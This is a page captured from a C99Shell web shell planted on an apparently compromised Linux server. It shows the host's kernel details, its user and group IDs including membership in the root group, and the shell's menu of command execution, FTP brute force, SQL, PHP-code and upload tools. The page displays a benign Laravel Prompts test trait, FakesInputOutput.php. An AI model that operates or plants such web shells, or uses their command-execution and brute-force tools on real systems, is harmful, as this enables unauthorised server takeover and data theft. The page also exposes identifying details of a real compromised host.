!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/vendor/laravel/prompts/src/Concerns/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FakesInputOutput.php (2.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Prompts\Concerns;

use 
Laravel\Prompts\Output\BufferedConsoleOutput;
use 
Laravel\Prompts\Terminal;
use 
PHPUnit\Framework\Assert;
use 
RuntimeException;

trait 
FakesInputOutput
{
    
/**
     * Fake the terminal and queue key presses to be simulated.
     *
     * @param  array<string>  $keys
     */
    
public static function fake(array $keys = []): void
    
{
        
// Force interactive mode when testing because we will be mocking the terminal.
        
static::interactive();

        
$mock \Mockery::mock(Terminal::class);

        
$mock->shouldReceive('write')->byDefault();
        
$mock->shouldReceive('exit')->byDefault();
        
$mock->shouldReceive('setTty')->byDefault();
        
$mock->shouldReceive('restoreTty')->byDefault();
        
$mock->shouldReceive('cols')->byDefault()->andReturn(80);
        
$mock->shouldReceive('lines')->byDefault()->andReturn(24);
        
$mock->shouldReceive('initDimensions')->byDefault();

        foreach (
$keys as $key) {
            
$mock->shouldReceive('read')->once()->andReturn($key);
        }

        static::
$terminal $mock;

        
self::setOutput(new BufferedConsoleOutput);
    }

    
/**
     * Assert that the output contains the given string.
     */
    
public static function assertOutputContains(string $string): void
    
{
        
Assert::assertStringContainsString($string, static::content());
    }

    
/**
     * Assert that the output doesn't contain the given string.
     */
    
public static function assertOutputDoesntContain(string $string): void
    
{
        
Assert::assertStringNotContainsString($string, static::content());
    }

    
/**
     * Assert that the stripped output contains the given string.
     */
    
public static function assertStrippedOutputContains(string $string): void
    
{
        
Assert::assertStringContainsString($string, static::strippedContent());
    }

    
/**
     * Assert that the stripped output doesn't contain the given string.
     */
    
public static function assertStrippedOutputDoesntContain(string $string): void
    
{
        
Assert::assertStringNotContainsString($string, static::strippedContent());
    }

    
/**
     * Get the buffered console output.
     */
    
public static function content(): string
    
{
        if (! static::
output() instanceof BufferedConsoleOutput) {
            throw new 
RuntimeException('Prompt must be faked before accessing content.');
        }

        return static::
output()->content();
    }

    
/**
     * Get the buffered console output, stripped of escape sequences.
     */
    
public static function strippedContent(): string
    
{
        return 
preg_replace("/\e\[[0-9;?]*[A-Za-z]/"'', static::content());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--